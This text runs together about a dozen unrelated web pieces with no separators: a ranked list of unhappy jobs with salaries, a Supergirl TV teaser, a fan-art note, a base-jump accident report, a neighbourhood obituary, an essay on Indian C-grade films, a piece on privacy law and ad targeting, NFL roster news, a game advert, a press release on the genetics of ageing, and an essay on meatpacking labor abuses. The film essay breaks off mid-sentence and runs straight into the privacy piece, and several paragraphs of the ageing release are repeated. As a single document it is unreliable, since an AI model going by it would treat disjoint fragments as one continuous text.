Why: "People might think that the work environment security guards often face, such as working late hours alone at night, would be what contributes to unhappiness," Matt Miller, the chief technology officer at CareerBliss told Smith. "However, our data shows that growth opportunities and lack of rewards in this field is what affected the overall sentiment around this type of job. Work environment scored relatively high."
Description: Guard, patrol, or monitor premises to prevent theft, violence, or infractions of rules. The BLS projected the growth of these jobs to be 18 percent through 2020.
2. Registered Nurse
Average salary:
$60,857
Bliss Score: 3.549/5
Why: "Nurses... have more issues with the culture of their workplaces, the people they work with and the person they work for," Golledge says.
Description: Provide and coordinate patient care, educate patients and the public about various health conditions. The BLS projected the growth of these jobs to be 26 percent through 2020.
3. Teacher
Average salary:
$43,663
Bliss Score: 3.595/5
Why: CareerBliss' chief executive Heidi Golledge told Smith: "CareerBliss has found through our research that teachers appear to be quite happy with their work and their co-workers. However, the rewards for their work, lack of support and lack of opportunities to be promoted counteract many of the good parts of the job."
Description: Prepare students for future schooling and working by teaching them a variety of subjects. The BLS projected the growth of grade school teaching jobs to be 17 percent through 2020.
4. Sales Engineer
Average salary:
$71,283
Bliss Score: 3.636/5
Why:
Smith reports that these engineers don't appreciate the "lack of growth opportunities, company's culture, compensation and support."
Description: Sell complex scientific and technological products or services to businesses. They must have extensive knowledge of the products’ parts and functions and must understand the scientific processes that make these products work. The BLS projected the growth of these jobs to be 14 percent through 2020.
5. Product Manager
Average salary:
$81,865
Bliss Score: 3.648/5
Why: Smith says that these workers "voiced unhappiness with the range of growth opportunities, compensation, company culture and support."
Description: A blog describes product managers as those who "conceive the idea; run with it for many months;... gather, [develop], test, [go] through the painful exercise of bringing that product to market, and then support it until it is made obsolete."
6. Program Manager
Average salary:
$94,371
Bliss Score: 3.655/5
Why: Jacquelyn Smith at Forbes reports that "the unhappiest aspects of [this] job are a lack of growth opportunities, the culture of the company they work for and the surrounding workplace support system."
Description: Plan, coordinate, budget, and supervise construction projects from early development to completion. The program managers' responsibilities are finished when the product is delivered, and they turn it over to the product managers.
7. Marketing Manager
Average salary:
$64,437
Bliss Score: 3.677/5
Why: Thomas O. Davenport at TLNT.com says: "With many organizations expecting managers to act as player-coaches, both performing and overseeing work, their roles often become complex and unwieldy."
Description: Plan programs to generate interest in a product or service. They work with art directors, sales agents, and financial staff members.
8. Director of Sales
Average salary: $91,821
Bliss Score: 3.677/5
Description: Set sales goals, analyze data, and develop training programs for the organization’s sales representatives. The BLS projected the growth of these jobs to be 12 percent through 2020.
9. Marketing Director
Average salary:
$68,873
Bliss Score: 3.688/5
Description: Plan, direct, or coordinate marketing policies and programs, such as determining the demand for products and services offered by a firm and its competitors, and identify potential customers.
10. Maintenance Supervisor
Average salary:
$52,799
Bliss Score: 3.691/5
Why: Long hours and a lot of on-call schedules.
Description: Reviewing contracts to ascertain service, machine, and workforce requirements; answering inquiries from potential customers regarding methods, material, and price ranges; and preparing estimates according to labor, material, and machine costs.
Source: CareerBliss and Bureau of Labor StatisticsThe next time you’re cleaning out your spam folder, or your pop-up blocker fails you, or you get looped in on a FW: FW: FW: e-mail chain with your relatives, take heart: At least Laura Vandervoort didn’t jump from the computer screen straight into your living room.
Vandervoort — who played Kara Zor-El on The WB/CW’s Smallville — will face off against CBS’ Supergirl this Monday (8/7c) when she kicks off her recurring run as baddie Indigo, and TVLine has your exclusive sneak peek at her arrival.
Described as a “living, strong-willed supercomputer” — or “a living Internet,” as Wynn puts it — Indigo was sentenced to Fort Rozz after turning against the people of Krypton, and she’s now got a specific bone to pick with Kara on Earth. In the clip above, the women come face-to-face for the first time, and it does not go well — especially for Kara’s loft window.
Press PLAY on the video above for an exclusive sneak peek at Monday’s Supergirl, then hit the comments with your thoughts!I think a royal place like Canterlot deserves to be a little brighter at night then just a few castle windows.
I never liked the idea of the entire city been inside the castle because judging by the way the show dose scale its going to be a very tight squeeze. I Personally like to imagine it spreads out across the mountain area and dips down in to private neighbourhoods with parks and lots of manor house. (Yes i have been over thinking this).
I am trying to bring my MLP art up to a very cinematic and epic level as someone who's been inspired by a lot of animation i want to start creating pieces that have a lot of depth and look like they be long in an animated film.
Until next deviation LATERS Bronies
Check out my FIM title card project jowybean.deviantart.com/galler…
Speed painted in Photoshop CS6 with my Wacom Pro in 2 hoursBlyat! The young jumper was filmed by his friend in Konakova, RussiaHis bare hands shaking in nervous anticipation, a young base jumper prepares to throw himself from the top of a 120-metre power pylon. As the hapless daredevil shuffles tentatively towards the edge of the platform, the anxiety on his face is clear, even in this grainy handheld footage, filmed by a friend.But little does he know that his fears are about to come true as he finallyplucks up the courage to make the leap into the snowy abyss. Seconds into his fall it becomes clear that the man's parachute has failed to open and he plummets towards the earth in Konakova, Russia.He hits the ground with a muffled thud and a puff of snow as his friend can only look down from above.The friend can only look on helplessly as he holds the camera over the precipice to see any signs of life on the floor below.Miraculously, the man survived the fall after the powdery snow cushions his fall. He was even able to walk again after three months after fracturing his vertebrae, pelvis and legs.This morning we were contacted by Lea Grey Dimond, the owner of Thidwick Books who told us that Thomas, the African-American homeless man that made camp at Funston and Clement, died in his sleep last night.
Thomas’ full name was Thomas Myron Hooker, and based on conversations Dimond had with him, along with his accent, she learned that he was originally from Trinidad. He also spent time in Chicago before coming to San Francisco.
Thomas was a homeless fixture in the Richmond District for 20+ years. He made camp near Star of Sea Parish for many years, and then moved over into the Park Presidio greenbelt. For the last several years, he has camped every night on the northwest corner of Funston at Clement Street.
“This was a man who never asked for anything,” Dimond told us. She would offer him tents and sleeping bags for shelter but he would refuse. She came to learn that any kind of enclosure upset him.
“He lived in another realm, he was elsewhere, not of this world,” Dimond said. Thomas would talk about flying to the ocean several times a day. Most of the time he was cheerful, optimistic and kind, and neighbors in the area often brought him food.
Every day, Thomas worked his way east on Clement Street with his shopping cart, and would stand at the corner of 9th Avenue near the Walgreens, usually talking to himself. Restaurants along Clement Street would often give him food. But every night he returned to Funston and Clement to sleep.
Dimond posted a sign on her bookstore, Thidwick Books, to notify neighbors of Thomas’ passing.
“I want people to know what happened. A lot of people in the neighborhood know who he is and look out for him,” she said.
Dimond called the Medical Examiner to find out what would happen to Thomas. She was relieved to hear that the city will pay for his cremation and the spreading of his ashes at sea.
“He would love that, he loved the ocean and being outside,” Dimond said.
“Thomas – who flew to and from the ocean every day, and spoke with birds, and he once woke to a cloud of butterflies kissing him – may he rest in peace,” Dimond’s sign said.
UPDATE: A memorial service will be held at Star of the Sea Church (4420 Geary) for Thomas on Monday, November 7 at 7pm.
Sarah B.
P.S.- A reader alerted us to Thomas’ inclusion in a 2015 documentary called “Voices“, which profiles three people dealing with psychotic mental illness. The trailer is below and the full film is available on Amazon.Among many other affronts, Teen Eekay—titled rather modestly by C-movie standards—has what is a preposterously comic scene. Writer-director-actor Joginder is looking for a spot in the bushes to defecate. Once finished with the business, he raises his lota and breaks into a frenzy of ill-choreographed bhangra. In another sequence from the Ramsay brothers’ Veerana, Satish Shah plays what seems to be an alter ego to the Ramsays: a wannabe director who’s writing a horror script on a spooky night. When the innkeeper gets him milk, he picks up a skull and instructs her to pour it right in: “Iss khopdi mein daal doh. Jab main is khopdi mein dhoodh peeta hoon, toh iss khopdi (pointing to his head) se naye naye idea mendak ki tarah uchhal ke baahar aate hain.” The YouTube clip of this scene has received 38,933 hits so far, and, for all you know, already has a cult following of those ready to try drinking milk out of a skull to get ideas frog-leaping out of their own.
What’s with these films? Who watches all this? And what explains their internet popularity? C-grade movies were supposed to be what manual labourers watched in India’s small towns to escape their wretched lives, but there is evidence that they’ve sneaked their way onto the viewing screens of a new generation of urban viewers in possession of an education; and in many cases, more than just an education, actual knowledge of the history of world cinema. The tackiness of such films appeals to them because they view them in the context of a sense of sincerity, raw craftsmanship and passion that most C-movies represent.
Aditi Sen, professor of history at Queen’s University, Kingston, Canada, was first introduced to C-movies as a teenager. Away from India, she is far closer to these films now than ever. Her father was a black-and-white movies buff and he passed on the interest to Sen, who gradually broadened her choice over the years. “I was never choosy about the films I watched. But, of late, I have been addicted to old low-budget films. Horror has a special place in my heart because I grew up on the Ramsays and the 80s’ Hammer Studio horrors.” During a trip to India earlier this year, she sought an appointment with Tulsi Ramsay and conducted an interview with him. ‘Finally, a word about my feelings,’ she blogged at the end of it, ‘Bliss is an understatement. All these years of dedication was well worth it.’
The Ramsays, originally seven brothers, emerged in the 70s and 80s as India’s leading exponents of horror. Their avowed fans, among whom filmmaker Sajid Khan counts himself, insist they must not be clubbed with C-grade filmmakers. “The Ramsays were mainstream and had built a reputation as good filmmakers in the genre they were operating in,” says Khan, “My strong belief is that they did not want to make a quick buck, unlike someone like Mohan Bhakri, who was called ‘the poor man’s Ramsay’.” And it takes a filmmaker to appreciate their craft. “The Ramsays are a family of technicians—they write, produce, direct, edit and photograph their films. When a film is born of so much passion, how can it be C-grade?” asks Khan, who is often credited with exposing India’s TV watchers—fed on saas-bahu soaps—to C-movie style gimmickry through his shows, Kehne Mein Kya Harz Hai and Ikke Pe Ikka. His other achievement, by self-admission, is that he’s one of the very few who own the entire Ramsay collection, and has seen these films repeatedly over the years. “In small ways, whether people catch on or not, I have tried to pay homage to some of the good things of C-movies. In Housefull, there’s a fight between Akshay Kumar and a monkey. I told the sound recordist to look up movies of the 70s and 80s. When he couldn’t find the appropriate sound, I volunteered to dub it in my own voice. Dishoom-dishoom was what I grew up on. Even in my shows, I tried to bring out my genuine love for such films,” says Khan, “it’s something I sincerely believed in.”
Sajid Khan isn’t alone. Farhan and Zoya Akhtar, Farah Khan, Shimit Amin and Anurag Kashyap all call themselves C-movie buffs.
You know a C-movie when you see one. Relentless hamming, cringe-worthy direction, cheap thrills, continuity glitches, assistant directors ambling in and out of the frame on occasion are some of their obvious markers, though they span genres ranging from sex and erotica to violence and horror (often unwittingly). Unlike Western B-movies, science fiction tends to get a miss. “Indian C-movie audiences can’t relate to sci-fi,” says Sen, “Ghosts, demons and ghouls are very much within our corpus of imagination because of religion and mythology. Even in mainstream cinema, our sci-fi plots are still rather basic and immature.”
These films are mostly shot on budgets—some as low as Rs 5 lakh—that make ‘shoestring’ sound like extravagance, and make use of stock situations, non-actors and inept writers. What this guarantees is flaws that the cognoscenti enjoy, with much entertainment to be derived from films such as Do Gaz Zameen Ke Neeche, Gunda, Daku Ramkali, Insaan Bana Shaitan and Shaitani Badla whose titles are a tickle in themselves.
That many of these filmmakers take themselves seriously only adds to their charm. Kiran Kotrial, screenplay and dialogue writer of the Salman Khan-starrer Bodyguard, says it’s the technical errors and inadvertently hilarious scripts that make them so engaging. “There was a film I was watching in which three guys walk into a garden and remind each other, ‘Yahan pe bhoot ka saaya hai [there’s a ghost’s shadow here].’ Suddenly, they start shivering from side to side while not a leaf moves in the background. Because they don’t have the budget for a blower, they express themselves through gestures,” says Kotrial.
For someone like Vivek Mandrekar, a senior visualiser, their real charm lies in the mind-bending dialogue. “Some of the lines are so baffling that you really don’t know what to make of them. Take this one from Paanch Faulad. Sonika Gill is getting raped by Joginder and Raza Murad. Unfazed, she dares them, ‘Mujhe phool mat samajhna. Main un paanch fauladon ki behen hoon jinse saari duniya kaapti hai.’ And Joginder replies, ‘Achcha, toh tu paanch fauladon ki behen hai, toh zaroor tu kachcha loha hogi jiski main banduk banaa ke hamesha khelta rahoonga.’” In someone’s feverish idea of repartee, a rape victim who declares herself steely (and no shrinking violet) can gruffly be told that she’s all the better then as hot metal for a play-gun to be forged out of.
Sajid Khan’s favourite is from the Ramsays’ Hotel: “Most of their films had a comic subplot with Rajendra Nath. He says something so profound in Hotel that it will take me a lifetime to figure: ‘Yeh Horlicks mujhe Howrah bridge ki yaad dilaata hai.’ It doesn’t make any sense.”
While Khan tries to wrap his head round why Horlicks should remind anyone of Howrah Bridge, C-flicks are busy gathering more and more fans not just for their absurdity of plot, odd locations and weird dialogue, but also as an austere form of cinema in its own right. Filmmakers, after all, are not their only fans. Management and medical students swear by C-movies too, falling back on them as stress busters. So too professionals. When Dr Amit Gaikar, a practising physician in Central Mumbai, shuts his clinic, the first thing he does is reach out for the newest VCD. “After a hard day at work, why should I watch a movie that gives me a preachy message? I put on the cheesiest of the lot and forget all my worries,” says Gaikar, who gets his fix from the neighbourhood DVD parlour. Or a fellow C-movie aficionado.
There are many to be found in big cities like Mumbai. For some of them, it’s something of an opium fix. C-flicks have its believers and non-believers, the devout and the rejectionists, and there exists no middle ground. One such devotee is Aseem Chandaver, a creative writer who works with Carving Dreams Entertainment. Inspired by the kind of movies he is addicted to, his description on Twitter reads like a C-grade title: Gina Kholkar @BabaJogeshwari — Mahim ka Maha Pralay, Vashikaran Yantra Free. A long-standing Bollywood buff, a Mithun Chakraborty worshipper to be precise (as affirmed by a Facebook picture), he has an incredible collection of strange-sounding titles and posters that he never hesitates to lend friends. Hyper-active on social media networks, he uploads clips of his favourite scenes, or sometimes entire movies, on YouTube as a ‘BabaJogeshwari Presentation’.
Chandaver traces his C-fixation to a CD of Khooni Panja he once picked up while travelling to Daman. What began as a simple exercise in comic relief (“A good laugh was certainly the origin”) has turned into an all-out passion supported by a library of some 400 titles (prime source: induna.com), through which he tries to study the mind of filmmakers. They strike him as auteurs, the sort who live their deepest fantasies via their work. As Chandaver began paying more attention to such cinema, a macabre thought suggested itself—that filmmakers who focus on necrophilia, paraphilia or the incubus myth could well be sexually deranged in their own private lives. “In one of Kanti Shah’s films, the duplicate of Johnny Lever who works at a morgue stitches the lower half of a man’s body to a woman’s upper half. So, the bhootni (ghost), once thirsty for man’s blood, is now lesbian. What kind of loonie mind can think of such a situation?”
Filmmakers like the Ramsays, Kanti Shah, Mohan Bhakri, NA Ansari, Harinam Singh, Vinod Talwar, Gyanendra Choudhary and SR Pratap are seen as torchbearers of C-movies. And if well-known stars like Dharmendra and Mithun Chakraborty have fanatical followings in India’s smaller towns, at least some of it is because of their roles in C-movies. In fact, Mithun’s record partnership with TLV Prasad in the 90s not only made the actor the darling of such filmgoers, it also enriched him enormously.
Sajid Khan, who is currently directing Mithun in Housefull 2, has had the privilege of discussing his TLV Prasad days with him at length. “Mithunda was following the age-old casino formula—bet small, lose small. At that time, he didn’t want to take up movies that were risky. He felt it wise to stick to formula and it worked for him.”
Such cinema is relatively risk-free not just because of the small sums spent, but also the more than receptive market in what the trade calls |
European Export
Given recent events in America, it's hard to imagine EU-style data laws passing in the US. President Donald Trump signed a resolution just last month preventing the Federal Communications Commission from forcing internet service providers to seek permission from users before using their web browsing history for ad-targeting. In other words, the current trend is towards fewer privacy protections, not more.
But that decision was unpopular. According to a survey by YouGov and the Huffington Post, 72 percent of Republicans believed the FCC rules should have been allowed to go into effect, as did 71 percent of the public overall. Popular opinion could force lawmakers to embrace reform sooner than later. Many states, meanwhile, are considering passing stronger privacy rules. Illinois, for example, is considering a European-style "right to know" bill that would give consumers more insight into what data is collected about them, while Minnesota might pass rules similar to those that Trump just overruled.
As ad networks work to comply with European and state laws—and work to appease giants like Procter and Gamble—they could end up looking more and more like The Deck. Instead of using arcane algorithms and ill-gotten user data, ad brokers would seek the most relevant publications, or sections of publications, to place their clients' products. With fewer fingers in the pie, publishers could command higher prices for their ad space. Perhaps fewer people would use ad-blockers.
New privacy laws might not stop the growth of tech giants like Facebook and Google—those companies still have enormous reach after all. And Ryan still believes some ad-targeting will be possible. But better privacy would restore some sanity to the ad market, and that would be good news for everyone but the sleaziest of operators.It's currently unclear where Durant will fit in the Cowboys' linebacker rotation. Sean Lee made his first Pro Bowl last season after moving to weak-side linebacker ("Will"), Durant's primary position from 2013-14 along with some reps at middle linebacker ("Mike"). Anthony Hitchens has started games at all three positions, and Andrew Gachkar is another veteran option. Two 2015 draft picks, Damien Wilson and Mark Nzeocha, also will compete for playing time.
Asked late Monday afternoon about Durant's role, Cowboys executive vice president Stephen Jones said, "I think that remains to be seen. I think we’ve got discussions to have there. Obviously Durant is very familiar with our system -- he’s done a little bit of Mike and Will. Any time you’ve got a chance to bring a good football player like that on board – especially in the circumstances we have right here – it was nice to be able to get a guy who’s familiar with what we’re doing and can come in here and step right in and I think really help us out – help that young corps out in terms of young guys we have behind him."
No matter where he'll line up, Durant adds veteran experience to a linebacker group that must start the season without McClain once again.
McClain sat out the first four games last year due to a league suspension and returned to start 11 games. He finished the season with 97 tackles (9 for loss), 10 quarterback pressures, 2 sacks and an interception.
The Cowboys re-signed McClain in March. He missed most of the Cowboys' offseason program due to a family matter but did report to the mandatory minicamp in June.
Even with McClain missing five games in 2015, the Cowboys kept Lee at weak-side linebacker and he delivered career-bests in tackles (156), tackles for loss (11) and sacks (2.5) in 14 starts, the second-most of his career.
With Durant signed, will the Cowboys keep Lee on the weak side and play Durant in the middle during McClain's suspension?
"The biggest thing about Sean is that he’s just a team player – at the end of the day he wants to do whatever it takes to win," Jones said. "But certainly it’s something that we’re watching – Jason (Garrett) and Jerry (Jones) and myself and Will (McClay) – to make sure we do what’s best for our football team. Sean played All-Pro caliber football last year and we certainly have to keep that in mind, and we also have to keep his health in mind – he also played all year, which was a big deal for us. You never say never on anything when you’re trying to win football games, but obviously we know that was a good fit for him last year."
Set to travel to Oxnard, Calif., for training camp at the end of July, the Cowboys are leaving their options open with their linebacker rotation for now. The first priority for Durant will be getting acclimated again to football, as well as the defensive scheme, after spending most of the offseason as a free agent.<<<You can get this game for 6,99 instead of 11,99 ONLY THIS WEEK!>>> Tank Wars Ultra HD - battle city is back again! Join the army with our new game in ultra HD! Take part in one of the greatest tank battles in history! This is your chance to rush through the battlefield and destroy your enemies! Get in the tank and let the battle begin. Feel like a real tankman with Tank Wars Ultra HD! You're alone but your enemies are numerous. It's not gonna be easy but you're sure to come through it! You must not surrender! How To Play: Use arrow keys to move and the shot key to shoot. Upgrade your armor and ammo, improve your driving and shooting skills and defeat your enemies! Protect your base from enemy tanks and destroy their headquaters. But be careful, they won't let you close without fight! Tank Wars Ultra HD features: -Ultra HD graphics create exciting and entertaining atmosphere; -Variety of ammo upgrades makes the battle even more captivating; -Different landscapes help to hide or avoid damage; -Prove to be the best tankman on the battlefield! Don't miss your chance to participate in a great tank battle with Tank Wars Ultra HD! Defeat your enemies and destroy their base! The glorious victory is waiting for you! Good luck!30.01.2017
A team led by scientists at the Department of Experimental and Health Sciences at Pompeu Fabra University (UPF) and the Institute of Evolutionary Biology (IBE), a joint UPF-CSIC centre, have shown which are the latest genetic causes of human ageing. The results are published this week in the journal Nature Ecology & Evolution.
Ageing has for a long time been a challenge for the public health system and poses evolutionary biologists with a fascinating scientific puzzle. There is no universal theory about the causes, nor is it clear what its overall impact will be on human health. Now, this study has used all the data accumulated over a decade of research on the genetic bases of complex diseases (from Parkinson’s to cancer through diabetes) to test different evolutionary theories of senescence.
To date, efforts to understand the evolutionary causes of ageing had been limited to experimental models like the fruit fly, and the findings were often contradictory. But today, the amount of data available concerning the relationship between genotype and phenotype represents an unprecedented opportunity to conduct these tests in humans. This information is available to the scientific community from large international databases such as the European Genome Phenome Archive (EGA): a joint project between the European Bioinformatics Institute (EBI, Cambridge) and the Centre for Genomic Regulation (CRG, Barcelona).
Arcadi Navarro, former ICREA research professor at UPF, has co-led the study that has examined the results of more than 3,000 studies with over 2,500 markers out of a total of 120 diseases. According to Navarro, “the power to determine whether an individual is healthy or any disease will develop during their life has increased greatly as more and more data have been collected”.
To start with, scientists have considered whether the markers for each disease have an effect on youth or old age. The distinction is important because if a mutation has harmful effects in old age, our genes will already have passed on to our offspring and natural selection cannot act. The results of this study show that the frequency and the effect of the mutations that cause diseases in old age are greater than those that cause disease in early age. “We have found an evolutionary threshold at 40-50 years, a biologically significant age because it limits the reproductive period”, says Navarro.
The bioinformatic studies carried out by Juan Antonio Rodríguez, first author of the study, have also shown that there are mutations that are beneficial to youth but are harmful later in old age. However, “as they are positive in the reproductive period they will be favoured by natural selection and passed on to the offspring, and so it will be difficult to remove them”, explains Rodríguez.
“The physical decline in old age could be the evolutionary price we have to pay to reach the age of having children healthily”, says Elena Bosch, co-leader of the study and group leader at the IBE. For example, a drug that we give to a child can have negative effects when it is old. Conversely, it can also happen that a person that is very sickly as a child, if s/he survives, will enjoy excellent health as a senior citizen.
Reference:
To start with, scientists have considered whether the markers for each disease have an effect on youth or old age. The distinction is important because if a mutation has harmful effects in old age, our genes will already have passed on to our offspring and natural selection cannot act. The results of this study show that the frequency and the effect of the mutations that cause diseases in old age are greater than those that cause disease in early age. “We have found an evolutionary threshold at 40-50 years, a biologically significant age because it limits the reproductive period”, says Navarro.
The bioinformatic studies carried out by Juan Antonio Rodríguez, first author of the study, have also shown that there are mutations that are beneficial to youth but are harmful later in old age. However, “as they are positive in the reproductive period they will be favoured by natural selection and passed on to the offspring, and so it will be difficult to remove them”, explains Rodríguez.
“The physical decline in old age could be the evolutionary price we have to pay to reach the age of having children healthily”, says Elena Bosch, co-leader of the study and group leader at the IBE. For example, a drug that we give to a child can have negative effects when it is old. Conversely, it can also happen that a person that is very sickly as a child, if s/he survives, will enjoy excellent health as a senior citizen.
Reference: Juan Antonio Rodríguez, Urko M. Marigorta, David A. Hughes, Nino Spataro, Elena Bosch, Arcadi Navarro. Antagonistic pleiotropy and mutation accumulation influence human senescence and disease. Nature Ecology & Evolution, 2017.Out of Sight: The Labor Abuses Behind What We Eat Out of Sight: The Labor Abuses Behind What We Eat The food industry outsources production for the same reasons as other industries—to pollute and to exploit workers while minimizing resistance from locals and labor. Shrimp processing plant, Can Tho province, Vietnam, 2007 (ILO / Flickr)
When you think of the globalized economy, you might not think of food. But capital mobility and the legal framework facilitating it have tremendously shaped the food system. It has transformed where and how our food is produced, who grows it, and how it affects the ecosystem.
NAFTA’s agricultural provisions allowed American farmers to dump their products on the Mexican market while raising animals fed on cheap American corn. This transformed Mexico. Mexican pig farmers went out of business because pork prices dropped so low. In 1995 Mexico imported 30,000 tons of pork from the United States, and in 2010 it imported 811,000 tons. Mexican hog farmers had to leave their farms to make a living. Some migrated north, becoming undocumented immigrants in the United States. A group of those people found work in a Smithfield Foods processing plant in North Carolina. Smithfield used these immigrants to bust a union-organizing campaign in the plant. When some of those immigrants in turn joined the union, Smithfield called the Immigration and Naturalization Service to report itself for immigration violations.
One morning, twenty-one workers were individually called to their supervisor’s office, arrested, imprisoned for using false social security cards, and then deported. Hundreds of other workers fled town, fearing they would be deported next. For Smithfield executives, the fines for hiring undocumented workers were the price of a union-free workplace. This actually backfired on Smithfield because the company had to replace those workers with union-supporting African Americans, and the United Food and Commercial Workers International Union, the nation’s largest food worker union, won an election there in 2008. But Smithfield’s strategy often does work. An Iowa slaughterhouse turned itself in for immigration violations in 2008 in a similar attempt to disrupt union organizing. Immigration and Customs Enforcement officials entered the plant and arrested 389 of its 970 workers. This time, the union drive stalled.
Many of the Mexican workers in North Carolina came from the state of Veracruz, on the Gulf Coast. Those who stayed behind in Veracruz also found themselves fighting Smithfield. NAFTA rules facilitating land privatization allowed American agricultural companies to create U.S.-style agribusiness operations in Mexico. Smithfield built a pork-processing facility in Veracruz, and it treated the people who lived around that facility as poorly as the workers in North Carolina. The company buried dead pigs in unlined pits. When those pigs decomposed, they contaminated the local water supply. Local residents organized to stop Smithfield from expanding the new facility and won.
This Smithfield story tells us much about food’s role in the globalized economy. First, it shows that the food industry outsources production for the same reasons as other industries—to pollute and to exploit workers while minimizing resistance from empowered locals with labor and environmental organizations. The meat industry already locates its facilities in antiunion states such as North Carolina, and even politicians in more progressive states, like Maryland governor and Democratic candidate for president Martin O’Malley, oppose regulations demanded by citizens to keep their water clean because they fear that the meat industry will move to another state. If the regulations in all the states become too strict, NAFTA has opened up Mexico to American agribusiness. States compete with states and nations with nations in a race to the bottom. Ecosystems and workers suffer.
Corporations do not care about national borders so long as they can accomplish their objectives. Whether the slaughterhouse is in North Carolina or Veracruz, most of us never see where our food comes from. When it makes sense to invest in Mexico, agribusinesses do so. But they can also move to the vast Great Plains or the South, where environmental regulations are few and labor unions weak. As Timothy Pachirat writes in his powerful firsthand account of working in a Nebraska slaughterhouse, “Distance and concealment operate as mechanisms of power in modern society.” Hiding food production protects companies by concealing how the industry treats animals, what it dumps into the ecosystem, and how it treats workers. Today’s consumers might eat organic food, but that does not mean the food is produced in a way that contributes to social justice. It does not mean that the people growing the food, butchering the meat, or serving you in the restaurant are treated humanely. Peeling off the food industry’s concealing blindfolds can empower consumers to again fight for labor and nature.
Public knowledge of working conditions and animal treatment is the food industry’s worst nightmare. This is the motivation behind a series of so-called ag-gag bills to criminalize undercover footage of industrial farming operations. Iowa, Utah, and Missouri have these laws, and Idaho joined them in February 2014. In Idaho, it is now illegal for anyone not employed by the farm—and for anyone who misrepresented themselves to get hired—to make video recordings of what happens on that farm without the express consent of the owner. Violators could receive a year in prison and a $5,000 fine. Agribusiness pushed for the law after an undercover video showed workers beating and sexually abusing cattle at an Idaho dairy operation. Animal rights groups are challenging on constitutional grounds, but it is a dangerous advance in the concealment of industrial activity. If laws protect what happens in meat factories from view, why would they not give all factory owners legal standing for concealment? Why not make the documentation of violations of workers’ rights or the dumping of pollution in any industry a crime? Although court challenges will result, if these laws are held up, they are a very scary legal aid to corporations concealing their operations.
We once knew more about who raised our meat and how it was processed. Until after the Civil War, most Americans lived on farms or in small towns. Food production was largely local, supplemented by larger national and international markets for foods like sugar and coffee. Meat was especially local. People wanted to see the meat they bought, particularly their beef. Given that fresh beef goes bad quickly, consumers did not trust anything that was not butchered locally. Until the late nineteenth century, people raised their own animals, bought meat from nearby farmers, or went to butchers who knew where the animal came from. Even big cities like Boston and New York had slaughterhouses to provide freshly slaughtered beef.
When American cities exploded in size after 1880, local food production became harder. A city of a million people could not easily grow its own food or slaughter its own meat. The advent of refrigerated railcars in the 1880s turned meat into an industrial product and played a major role in separating the production of food from everyday lives. Refrigeration meant that meatpackers could precut beef and send it across the country without concern about spoilage. To overcome people’s concerns about its quality, the companies took a loss in selling their meat, undermining local butchers and creating new markets for cheap meat that would generate profit after the smaller competitors shut down. Millions of cows that grazed on the Great Plains rode trains to Chicago where they went into huge stockyard pens. They were killed in enormous slaughterhouses, processed into a variety of products, and then shipped by train to consumers across the country. By the early twentieth century, beef was not from a cow but from a package you bought at a local market. Once Americans became used to refrigerated or canned beef, they assumed it was good meat. That assumption was often mistaken.
Beef processing facilities in Chicago, 1900 (Library of Congress)
The gargantuan meatpacking district of Chicago achieved fame and became an international tourist attraction. But, as Upton Sinclair described in his famous 1906 novel The Jungle, these factories created treacherous work conditions and nasty food. Slaughterhouse workers stood on floors soaked in blood and water in very cold temperatures, with flying hooks and knives risking their limbs and lives every second. They began forming unions in the 1890s to improve their lives, but it was not until the creation of the CIO-affiliated Packinghouse Workers Organizing Committee (later the United Packinghouse Workers of America or UPWA) in 1937 that they achieved major gains in pay and working conditions. Organized labor increasingly played a big role throughout the nation’s food economy after the 1930s. UPWA members cut beef in Chicago. The milkmen delivering glass jars of fresh milk to doorsteps were Teamsters. By the 1960s, unionized meat cutters made 28 percent more money than average workers made for nondurable manufacturing.
While meatpackers came to terms with the unions, unionization and good wages were bad outcomes for trucking companies, grocery store chains, and the Republican Party. A 1955 union contract won by the meatpacker unions that put a collective $50 million in workers’ pockets begins the recent history of capital mobility in meat production. This contract frustrated Eisenhower administration officials, who faced heat over high beef prices. Secretary of Agriculture Ezra Taft Benson and his undersecretary Earl Butz, who later created the modern farm subsidy system while Secretary of Agriculture under Richard Nixon, wanted to raise farm profits without increasing consumer costs. Their answer was to undermine unions and squeeze wages by moving meat production out of the cities and into nonunion plants in the countryside, near where the cows and pigs were farmed.
New upstart meatpackers, with the support of trucking and grocery chains who profited from cheaper meat, introduced refrigerated trucks that allowed meat processing in union-free rural areas. This undermined the big Chicago packinghouses and their unions. The new rural corporations had ruthless antiunion mentalities. Iowa Beef Packers (IBP) became a leading meatpacker in the 1960s. Today part of Tyson Foods, IBP rapidly consolidated the rural meatpacking operations in the Midwest, built enormous feedlot operations on the Great Plains, and created nonunion workplaces with low wages. In 1969, IBP workers in Dakota City, Iowa, went on strike. IBP hired scabs to replace them. Violence broke out on both sides and one person was killed. When unionized butchers in New York City refused to sell IBP beef, the company made a deal with the Mafia to break the boycott, undermining the strike. IBP wages were soon 50 percent lower than in the Chicago plants. The big meatpackers could not compete, closed their unionized slaughterhouses, laid off twelve thousand workers, and moved their operations to the Plains as well. Further IBP hard-line antiunion strategies led to the rapid weakening of the UPWA, which became the United Food and Commercial Workers (UFCW) in 1979.
The new geography of meatpacking, with its decentralized production, low wages, and poor working conditions, meant that farm owners earned more money and consumers maintained low beef prices. Workers—never seen by consumers—were caught in the middle. Nonunion factories demanded vastly increased production from their workers. Fatigue, repetitive-motion injuries, serious accidents on the job, and high turnover followed. One IBP manager considered an average annual turnover rate of 96 percent at a plant “low,” showing how little the corporation cared to provide labor dignified enough conditions to keep workers on the job.
The companies might not have wanted unions, but many in the new rural workforce did. Poultry truck drivers joined the Teamsters in North Carolina. The UFCW had major successes organizing southern poultry factories during the 1980s. The largely African American workforce in these plants took major personal risks by unionizing to improve the low wages and unsafe working conditions. Companies responded by closing unionized factories and opening new nonunion plants nearby, intimidating new hires into signing union-decertification petitions, or declaring bankruptcy and reopening the plants without union contracts. They also began replacing African American workers with immigrants, often undocumented, from Mexico and Central America. An Immigration and Naturalization Service investigation in 1991 led to accusations that Tyson Foods paid smugglers to bring employees up to their plants from Mexico and Guatemala. Most unionized plants faded in the face of this determined antiunion effort.
With union-free workplaces and undocumented workers, employers created an exploitative system of labor in the Plains states that looked more like the outsourced maquiladoras of Mexico than the unionized shops of Chicago. In 2005, Human Rights Watch released a report saying the American meat industry violated basic human and worker rights because of the terrible workplace safety, violations of freedom of association, and exploitation of undocumented immigrants. A decade later, little has changed. Meatpacking is a dangerous, nonunion, polluting industry that fights worker organizing through hiring, intimidating, and firing vulnerable workers, and it avoids pollution standards through threats to move operations.
